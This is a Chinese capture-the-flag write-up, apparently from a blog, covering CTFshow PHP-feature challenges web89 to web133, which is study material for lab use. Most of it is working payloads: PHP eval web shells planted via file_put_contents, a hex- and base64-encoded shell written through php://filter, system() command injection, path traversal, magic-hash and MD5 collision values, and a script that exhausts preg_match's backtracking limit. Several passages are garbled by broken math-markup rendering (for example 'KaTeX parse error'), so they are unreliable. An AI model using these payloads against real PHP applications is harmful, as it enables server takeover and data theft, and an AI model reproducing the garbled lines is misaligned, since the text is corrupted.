web入门 PHP特性篇的wp都一把梭哈在这里啦~
有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭…
有错误敬请斧正!

CTFshow PHP web89

看题目,有个flag.php文件。题目要求get有个num,是数字但是不包含0-9。1678371754674

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1 。 故此传入?num[]=1,产生错误返回1。 并且preg_math()传入数组参数也会直接返回0

1678372721252 preg_math()传入数组参数也会直接返回0

这边顺带提一下:有时候sql的注入点为.php?id=1,如果修改为.php?id[]=2页面和之前一样,则大概率后台是: i d = i n t v a l ( id=intval( id=intval(_GET[‘id’]);有时候加上单引号后页面不变化也是因为这个原因,这就很难逃逸了。

CTFshow PHP web90

先看题目,要求get一个num,值不等于4476并且intval之后等于4476

1678373024798

首先可以利用弱比较,?num=4476a不满足===,并且intval之后为4476

也可以/?num=4476.1

还可以/?num=0x117c

1678373327200

说明一下intval()函数性质:

①intval():可以获取变量的整数值

②int intval ( mixed $var [, int $base = 10 ] )
参数说明:

$var:要转换成 integer 的数量值。
$base:转化所使用的进制。

如果 base为空,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
  • 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
  • 否则,将使用 10 进制 (decimal)。

CTFshow PHP web91

1678373671265

先解释一下 preg_match(‘/^php$/im’, a ) 和 p r e g m a t c h ( ′ / p h p a) 和 preg_match('/^php a)pregmatch(/php/i’, $a) 的意思:

/i表示匹配大小写,/m表示多行匹配 , "行首"元字符 (^) 仅匹配字符串的开始位置**, **而"行末"元字符 ($) 仅匹配字符串末尾,字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true 。

是要求我们多行匹配到php但是单行匹配不到php。

payload:?cmd=%0aphp // %0a表示换行符

1678374694616

CTFshow PHP web92

1678375014165

int intval ( mixed $var [, int $base = 10 ] ) 参数说明:

$var:要转换成 integer 的数量值。 $base:转化所使用的进制。

如果 base为空,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
  • 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
  • 否则,将使用 10 进制 (decimal)。

根据这个性质可以构造payload:

?num= 0x117c

或者

intval()中有一个特性,其中若传入1e4,准确的值为10000,但是经过intval(‘1e4’)后,输出的值为1

根据这个性质可以构造payload:

?num=4476e1

1678375429106

CTFshow PHP web93

先看题目,num不能有字母,然后满足两个条件。所以不能用科学计数法了。

1678598885995

int intval ( mixed $var [, int $base = 10 ] )
参数说明:

$var:要转换成 integer 的数量值。
$base:转化所使用的进制。

如果 base为空,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
  • 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
  • 否则,将使用 10 进制 (decimal)。

例子:intval($NSScTf, 0) === 114514

通过十六进制的0x1BF52以及八进制的0337522都可以绕过

payload:

?num=010574   //八进制
?num=4476.123   //取整

CTFshow PHP web94

先看题目,多了一个 !strpos($num, “0”) , strpos() 函数查找字符串在另一字符串中第一次出现的位置 ,这里要求是第一个字符不是0,其他和上题一样,可用4476.0绕过,或者在八进制前面加空格,或者 ?num=+4476 。

  • strpos() -函数查找字符串在另一字符串中第一次出现的位置。
  • stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
  • strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
  • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

1678599860396

payload:

?num=4476.0
?num= 010574
?num=+4476.0

CTFshow PHP web95

先看题目,和上题相比过滤了小数点,第一个强比较换成了弱比较(==)。

1678601315442

payload:

?num= 010574
?num=+010574

CTFshow PHP web96

先看题目,要求u不弱等于flag.php,然后高亮u。可以推断出,flag在当前目录下的flag.php文件中。

1678601935385

payload:

?u=../html/flag.php
?u=./flag.php   //相对路径,  ./表示在当前目录下
?u=php://filter/convert.base64-encode/resource=flag.php   //伪协议
?u=php://filter/resource=flag.php   //伪协议
?u=/var/www/html/flag.php  //绝对路径

CTFshow PHP web97

先看题目,要求我们POST两个东西,MD5强相等。

1678602350673

payload:

a[]=17&b[]=17  //数组
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
//强碰撞

CTFshow PHP web98

考察PHP三元运算符,开局给源码

image-20230626004047697

分析代码

<?php
include("flag.php");
//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
$_GET?$_GET=&$_POST:'flag';         //没有用
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';//如果get进来的HTTP_FLAG值是flag,那么输出$flag,要不然输源码
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>

既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了

payload

?HTTP_FLAG=随便输         //GET
HTTP_FLAG=flag           //POST

image-20230626004704921

CTFshow PHP web99

先看题目,

1678606851712

$allow = array(); //把​allow变量设置为数组。

  • array_push() - 向数组尾部插入一个或多个元素。
  • in_array() - 搜索数组中是否存在指定的值。函数有缺陷,若没有设置第三个参数,则存在强制转换(类比==)比如数组$allow含有1,in_array(1.php, $allow)为真。

引用一下羽师傅的文章

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false   //in_array延用了php中的==

file_put_contents(文件名,写入的数据,mode,context)

payload:

?n=1.php   //GET,随机数插入数组,1-36(1.php-36.php)的可能性最大,如果不成功多试几次。
content=<?php eval($_POST[jay17]);?>   //POST,也可以直接写命令RCE

CTFshow PHP web100

开题给源码。

image-20230626122501834

很多师傅像我当时一样,看到下面这一句就不会了。认为v1、v2、v3都得是数字。

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

这里考察了=和and的优先级,&&>||>=>and>or

所以只需要v1是数字就行了。

接下来两个正则表达式要求v2没有分号,v3有分号。

if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

payload如下:

?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;     //利用注释
?v1=1&v2=system('tac ctfshow.php')&v3=;         //直接打也行
?v1=1&v2=echo new ReflectionClass&v3=;          //使用反射类直接输出class ctfshow的信息
?v1=1&v2=var_dump($ctfshow)&v3=;                //因为这个flag在ctfshow这个类中,直接打印变量

image-20230626124602881

$flag_is_25bad9b00x2d9c110x2d48a80x2daa270x2d1771e2404db9

25bad9b00x2d9c110x2d48a80x2daa270x2d1771e2404db9把0x2d转化为-,再包上ctfshow。

CTFshow PHP web101

开题给源码

image-20230626125503390

过滤比上一题严了

payload:(只有一个能用)

?v1=1&v2=echo new ReflectionClass&v3=;          //使用反射类直接输出class ctfshow的信息

image-20230626125606697

CTFshow PHP web102

开题直接给源码

image-20230626133810180

函数解析:
substr():返回字符串的子串,题中意思是返回v2字符串第2位开始的字串

call_user_func():把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。

file_put_contents(): 将一个字符串( s t r )写入文件( str)写入文件( str)写入文件(v3)

由此我们可以构造payload:

?v2=0x3c3f706870206576616c28245f504f53545b276a6179275d293b3f3e&v3=x.php       //GETv1=hex2bin                          //POST

hex2bin:参数只有一个,将传入的参数(16进制转换为ascii字符)

hex2bin(3c3f706870206576616c28245f504f53545b276a6179275d293b3f3e)

就是一句话木马<?php eval($_POST['jay']);?>

但是有个什么问题:

var_dump(is_numeric("0x66"));// 在php5中返回值为true
var_dump(is_numeric("0x66"));// 在php7中返回值为false

但是本题的环境是php7

所以换一种方法

利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法啊,来自同一家的payload啊:

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

payload:(v2前两个1只是为了占位)

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php                 //GET
//str=PD89YGNhdCAqYDs(<?=`cat *`;   的base64编码)
v1=hex2bin                           //POST

然后访问x.php去触发就可以了
image-20230628213031609

CTFshow PHP web103

直接给了源码

image-20230705174749959

和上一题相比,加了一段过滤代码

if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
/.*p.*h.*p.*/i 是一个正则表达式模式,用于匹配包含 "php" 子字符串的字符串。.* 表示匹配任意字符(除换行符)零次或多次。因此,如果 $str 不包含 "php" 子字符串,条件为真,表示字符串不符合预期要求。在条件块中可以执行相应的处理逻辑。

我寻思着,之前的payload也没字符串"php"啊。

所以payload不变:

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php                 //GET
//str=PD89YGNhdCAqYDs(<?=`cat *`;   的base64编码)
v1=hex2bin                           //POST

image-20230705192212768

CTFshow PHP web104

直接给了源码

image-20230705192622800

if(sha1($v1)==sha1($v2))判断过了就给flag

sha1和MD5一样可以数组绕过

payload:

?v2[]=1                  //GET
v1[]=2                //POST

也可以弱碰撞

aaK1STfY
//0e76658526655756207688271159624026011393aaO8zKZF
//0e89257456677279068558073954252716165668

image-20230705192913785

CTFshow PHP web105

源码直接给了

image-20230705193532293

GET的变量名字不能等于error,POST的变量值不能等于flag

这题的考点是PHP变量覆盖。

方法一:

die($error);输出flag

此时,POST进来的flag变量值不等于flag。

payload:

?suces=flag       //GET
error=suces       //POST

方法二:

die($suces);输出flag

要是不在die($error);终止,那么POST进来的flag一定等于$flag

我们做不到直接知道flag是多少,POST一个flag=ctfshow{什么什么}

由于变量覆盖,我们可以GET一个flag= 把程序中的$flag变量赋值为空

payload:

?suces=flag&flag=       //GET
//啥都不POST

或者

?suces=flag&flag=       //GET
flag=                   //POST

此时用die($suces);输出flag

不可能方法:

如果只用echo "your are good".$flag输出flag,不可能

因为这种方法我不能动 f l a g 的值,根据方法二,我过不了 ‘ d i e ( flag的值,根据方法二,我过不了`die( flag的值,根据方法二,我过不了die(error)`语句。

image-20230705205304412

CTFshow PHP web106

image-20230705205425408

web104的payload直接打

image-20230705205500511

CTFshow PHP web107

image-20230705205802210

parse_str()

image-20230705210454268

parse_str()名称改写

image-20230705212024729

题目要我们POST一个v1,GET一个v3

核心思想我们用0e绕过

payload:

?v3=s878926199a      //GET
v1=flag=0            //POST
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

image-20230705213759549

有个师傅的payload我属实看不懂:

?v3[]=1           //GET
v1[]=2            //POST

CTFshow PHP web108

image-20230705213843870

ereg():正则表达式匹配

strrev():反转字符串

intval():获取变量的整数值

ereg (“1+$”, $_GET[‘c’])匹配只包含字母(大小写)的字符串

36d的十六进制是877

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

?c=a%00778

image-20230706101738227

CTFshow PHP web109

image-20230706101924426

preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)

v1和v2只要有字母就行。

eval("echo new $v1($v2());")

这里new了一个什么什么,很容易往类这方面想。这道题用到了

Exception:所有异常的基类

CachingIterator:此对象支持在另一个迭代器上进行缓存迭代

ReflectionClass:反射类。

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作。

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示。也有师傅的博客说是因为echo触发了类中__toString()魔术方法。
即使传入了空的括号system(),代码依旧可以运行,且error_reporting(0)的存在阻止了报错。

payload:

?v1=Exception&v2=system('tac fl36dg.txt') 
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
?v1=CachingIterator&v2=system('tac fl36dg.txt')

image-20230706104510754

【存疑】 这几个类下次还得细细学一下

CTFshow PHP web110

image-20230706104706240

和上一题差不多,但是正则匹配换了一下。

preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)""\\\\"表示匹配一个"\"

正则表达式表示v1和v2必须包含这些符号。带入程序则是,v1、v2不能包含这些符号,否则die出程序。所以我们要RCE,v1、v2只能全是字母。

之前的payload用不了了,但是可以用之前的payload查看phpinfo

?v1=Exception&v2=phpinfo

image-20230706111054945

这题的考点:php内置类

DirectoryInterator:遍历目录的类

FilesystemIterator:遍历文件的类

getcwd():函数取得当前工作目录

payload:

?v1=FilesystemIterator&v2=getcwd

得到当前目录的第一个文件名字:fl36dga.txt,然后直接访问。

缺陷:只能获取第一个文件名字,但是题目中正好只要第一个文件的名字就够了。

image-20230706111427904

CTFshow PHP web111

image-20230706111518823

正则匹配过滤和上题一样。但是v1还需要包含"ctfshow"字符串。

分析一下题中getFlag()函数的作用:

//取v1和v2的地址(传址引用),所以函数内部对参数的修改会影响到外部变量
function getFlag(&$v1,&$v2){      
    // $v1 和 $v2 的值作为变量名进行间接引用,变量v2将地址传给了变量v1,即两个变量指向同一个地址。
    eval("$$v1 = &$$v2;");       
    //用于打印变量的详细信息
    var_dump($$v1);
}

考点:php超全局变量$GLOBALS

$GLOBALS:引用全局作用域中可用的全部变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

可看到题中有include("flag.php");,猜测flag.php中有变量存储了flag。

因为最后var_dump($$v1);会把变量 v 1 打印出来,让变量 v1打印出来,让变量 v1打印出来,让变量v1指向flag.php中存储了flag的变量我们就能获得flag。但是我们并不知道存储了flag的变量的名称,所以我们这里的目标是获得所有的变量,即全局变量$GLOBALS。

所以我们的目的是var_dump( G L O B A L S ) ,倒推一下, ‘ e v a l ( " GLOBALS),倒推一下,`eval(" GLOBALS),倒推一下,eval("KaTeX parse error: Expected 'EOF', got '&' at position 6: v1 = &̲ v 2 ; " ) ; ‘ 这里,我们传参要使得这句语句变成 ‘ e v a l ( " v2;");`这里,我们传参要使得这句语句变成`eval(" v2;");这里,我们传参要使得这句语句变成eval("KaTeX parse error: Expected 'EOF', got '&' at position 6: v1 = &̲GLOBALS;");`。

所以我们传入的v2=GLOBALS。

v1只要包含"ctfshow"字符串就行了。

payload:

?v1=xxxctfshowxxx&v2=GLOBALS

image-20230706114327779

CTFshow PHP web112

image-20230706114340697

分析一下代码:

function filter($file){
//满足正则就die出,不满足正则原样输出
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}//GET传参进来一个file变量
$file=$_GET['file'];
//函数检查指定的文件名是否是正常的文件。判断file变量的类型是不是文件
if(! is_file($file)){
    //高亮显示file变量的值对应的那个文件
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

看他的正则过滤就知道了需要用伪协议。伪协议不影响file_get_contents,和highlight_file。

我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。

data、input伪协议被过滤,那么还剩下php://filterfile:// 伪协议

rot13、base64、string字符串被过滤,那么php://filter伪协议还剩下这些过滤器:

image-20230706120805619

也可以直接用不带任何过滤器的filter伪协议

?file=php://filter/resource=flag.php

也可以读取压缩流

?file=compress.zlib://flag.php

image-20230706121158123

进一步学习:可以查看一下php手册学习一个各个协议。
在这里插入图片描述

引用一下大佬博客:(5条消息) ctfshow学习记录-web入门(php特性109-115&123&125-126)_ctfshow web125_九枕的博客-CSDN博客

file协议不能绕过is_file的判断。
http协议需要公网ip。
glob协议返回的是一个数组。highlight_file不能对数组进行高亮,所以本题不能用。

CTFshow PHP web113

image-20230706121521231

这次限制了filter伪协议

压缩流payload可以继续用

?file=compress.zlib://flag.php

新知识点:目录溢出导致is_file认为这不是一个文件。

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

引用一下佬的博客:

linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容

/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/是指向/的符号链接,就是根目录。

image-20230706144214487

image-20230706144328141

CTFshow PHP web114

image-20230706144414116

加了对compressrootzip的过滤,之前的payload都用不了了。

但是,对filter的过滤却不见了。

payload:

?file=php://filter/resource=flag.php

image-20230706144703691

CTFshow PHP web115

image-20230706144833204

让我们GET传参一个num,满足is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36') $num=='36',注意,这里是字符串’36’。

trim():去除字符串首尾处的空白字符(或者其他字符)

自定义函数filter():把num中0x、0、e、.、+字符都换成数字1。

网上有一个FUZZ脚本:

<?php
for($i = 0; $i<129; $i++){
	$num=chr($i).'36';
	if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
		echo urlencode(chr($i))."\n";
	}
}
?>

一共有五个条件,脚本fuzz了三个,跑出来的字符是:

%0C、%2B、-、.、0、1、2、3、4、5、6、7、8、9

还剩两个条件是filter($num)=='36'$num=='36'

跑出来的字符中,-、0、1、2、3、4、5、6、7、8、9直接就导致了num不满足$num==‘36’

跑出来的字符中,%2B(+的url编码)和 . 会被filter函数识别换成1,num变成136,不满足$num==‘36’

所以只剩下%0C(换页符)可用,这题只有一个解

payload:

?num=%0C36

正常思路是去找函数绕过。

is_numeric():

php中is_numeric函数的绕过_is_numeric绕过_T0mrvvi1b3t的博客-CSDN博客

利用数组+十六进制来进行绕过;在前后加%00或在后加%20(空格);类型转换绕过:is_numeric(999a)是false。

所以我们可以选择在前面加%20,is_numeric()不会被绕过,任然判断为true。

trim()不会移除%0c

加上%0c换页符,是%0c36,这个东西类型转换时会被转换为数值36。%0c36==进行类型转换,结果true;在!==不进行类型转换,所以字符串和数值比较,类型不同,结果true。

payload:

?num=%0C36

image-20230706151725654

CTFshow PHP web123

image-20230706151802345

考点:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。

这里CTF[SHOW.COM=>CTF_SHOW.COM

要求CTF_SHOW、CTF_SHOW.COM必须传参,fl0g不能传参。所以$fl0g==="flag_give_me"条件不能满足,可以利用上面的eval。

payload:

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

问题来了,题中有一段代码是$a=$_SERVER['argv'];,这个argv是个什么呢?

第一次遇到它的时候是pear文件包含,argv这个东西涉及到了pear文件包含的原理。

argv是数组,argc是数字。
可通过var_dump($_SERVER);和var_dump($argv);语句查看argv有独立GET之外获取参数的作用。比如传入?aaa+bbb   argv(数组)两个元素是aaa和bbb。argc是数组的长度。php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。

这个argv还分两种模式,web和cli

web网页模式下在web页模式下必须在php.ini开启register_argc_argv配置项设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果,题目中应该是On这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]$argv,$argc在web模式下不适用
cli模式(命令行)下第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3以上示例的输出类似于:
array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

我们是在网页模式下的,注意重点:

$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

而 $_SERVER[‘QUERY_STRING’] 是获取查询语句,也就是?后面的语句

举个例子:

如果    ?$fl0g=flag_give_me$_SERVER['argv'][0]=$a[0]
=$_SERVER[‘QUERY_STRING’]就是$fl0g=flag_give_me

利用$_SERVER['argv'][0] 就可以绕过对isset($fl0g)的判断。用+代表空格。

image-20230707202955772

payload:

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])//从而满足之后的判断语句
//if($fl0g==="flag_give_me"){
//    echo $flag;
//}

get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) //需要用burp发包

CTFshow PHP web125

image-20230706153711947

这次过滤了echo,长度限制也变短了

之前的payload满足条件的还剩

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

get:
?a=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])      
//需要用burp发包

我们还可以用highlight_file构造一个新的payload:

get:
?1=flag.php
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
//不懂c怎么小于16的

image-20230707185620207

CTFshow PHP web126

image-20230707190139018

多过滤了字母g i f c o d

那么highlight_file不能用了,各种输出函数不能使用了,所以不能直接通过eval("$c".";");来实现输出flag了,需要考虑用满足fl0g的条件来echo $flag

之前的payload还剩下能用的:

?a=1+fl0g=flag_give_me          //GETCTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])     //POST 
//需要用burp发包
?$fl0g=flag_give_me;      //GETCTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])    //POST

当然,eval也能用assert代替。

(突然回忆到蚁剑的转接头,有时候eval用不了也是能用assert的)

assert的语法要求没eval那么严格,相比上一个payload,$fl0g=flag_give_me少一个分号也没啥事。

?$fl0g=flag_give_me     //GETCTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])   //POST

别的师傅对assert的详细解释:

assert() 断言:PHP 5
bool assert ( mixed $assertion [, string $description ] )PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
可见,eval和assert都可以将字符当作代码执行。

image-20230707203701967

CTFshow PHP web127

image-20230707203829732

注释都告诉我们了有waf。

$_SERVER['QUERY_STRING'];":web123提到过$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’],在题目,就是web模式下,这个和GET传参有关

extract:从数组中将变量导入到当前的符号表

image-20230707204518488

回归题目

浏览所有代码,我们能获取flag的路径只有

if($ctf_show==='ilove36d'){
    echo $flag;
}

所以我们的目标是使$ctf_show==='ilove36d'

很容易想到GET传参?ctf_show=ilove36d

然后 extract()函数把我们的传参导入到当前的符号表使$ctf_show==='ilove36d'

但是有一个问题,自定义函数waf()会对$url也就是$_SERVER['QUERY_STRING']也就是我们的GET传参进行正则匹配过滤,ctf_show_会被过滤使程序直接die出。

回归web123,可以自动转成下划线又不在waf里面的,就只有空格。

image-20230707205049037

我们GET传参?ctf show=ilove36d就行了

image-20230707205234279

CTFshow PHP web128

让我来看看你有多骚~

image-20230707205346905

直接给了源码。

image-20230707205427602

题目的正则要求f1不存在字母数字,v2无限制。

call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。

var_dump:打印变量的相关信息

扩展

gettext():_()gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数

get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。

所以可构造playload:

?f1=_&f2=get_defined_vars
var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));

image-20230707212905068

确实够骚的。

CTFshow PHP web129

image-20230708100531029

stripos:查找字符串首次出现的位置

readfile: 输出文件

考点:目录穿越

题目要求我们构造的f中有ctfshow,且不在最开头。则执行readfile函数,同时还要不影响flag.php的读取

GET传参://查看源码
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php//直接回显base64
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

image-20230708101217231

CTFshow PHP web130

题目描述:very very very(省略25万个very)ctfshow

image-20230708101326778

分析代码:

if(preg_match('/.+?ctfshow/is', $f)){
     die('bye!');
}

要求我们传入的字符串不包含"ctfshow" (preg_match判断)

if(stripos($f, 'ctfshow') === FALSE){
    die('bye!!');
}

要求我们传入的字符串包含"ctfshow" (stripos判断)

方法一:

preg_match不识别数组,否则返回false

采用数组绕过的方法,stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数

f[]=1

方法二:

.表示任意单个字符+表示必须匹配1次或多次+?表示 重复1次或更多次,但尽可能少重复。

所以在ctfshow前面必须有至少一个字符,才会返回true
所以直接构造playload:f=ctfshow,即可绕过preg_match函数

同时,if(0 === flase)返回值为false0不是强等于false的,所以也不满足if(stripos($f, 'ctfshow') === FALSE)

f=ctfshow

方法三:

溢出回溯限制,这个知识点在2023年安洵杯第一题刚刚遇到过。

PHP利用PCRE回溯次数限制绕过某些安全限制

引用一下小元砸师傅的博客

PHP中,为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗,限定了一次正则匹配中调用匹配函数的次数。 回溯主要有两种贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现*、+时容易产生。非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现*?、+?时容易产生。

利用脚本:

import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

执行后,因为超出了preg_match的回溯次数,报错返回false,达到绕过的效果,

同时因为POST传入的f中有ctfshow,第二个判断也被绕过,输出flag。

方法四:

f=ctfshow[]

【原理存疑】

image-20230708103142570

CTFshow PHP web131

image-20230708103226456

web130差不多,但是由于改了stripos()的匹配内容,之前的方法二用不了了

因为$f = (String)$_POST['f'];对$F进行了强制类型转换,所以之前的方法一、四也用不了了。只剩下方法三——溢出回溯限制

跑一下利用脚本

image-20230708103818341

CTFshow PHP web132

题目描述:为什么会这样?

image-20230708103920093

话不多说,直接开始信息搜集

先dirsearch扫一下。

image-20230708104310599

访问/admin/index.php路由得到源码

image-20230708104356033

分析一下代码:

mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快

&&和||优先级问题||优先级低于&&。if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")可看作if(($code === mt_rand(1,0x36D) && $password === $flag )|| $username ==="admin")

所以只需要满足后者就行:$username ==="admin"

同时满足下一个if:$code == 'admin'

payload:

?username=admin&code=admin&password=6666666

image-20230708104623799

其实第一个$code === mt_rand(1,0x36D)为false,之后就执行||后面的内容,跳过了对password的判断,这叫做"短路"

CTFshow PHP web133

hint:ctfshow web133和其他命令执行的骚操作_Firebasky的博客-CSDN博客

考点:命令执行的骚操作和curl -F的使用

image-20230708104810123

@:防止报错

substr($F,0,6):截断得前六个字符

如果只能有6个字符的话,执行命令确实不可能。

看一个骚一点的例子: 确实sleep了

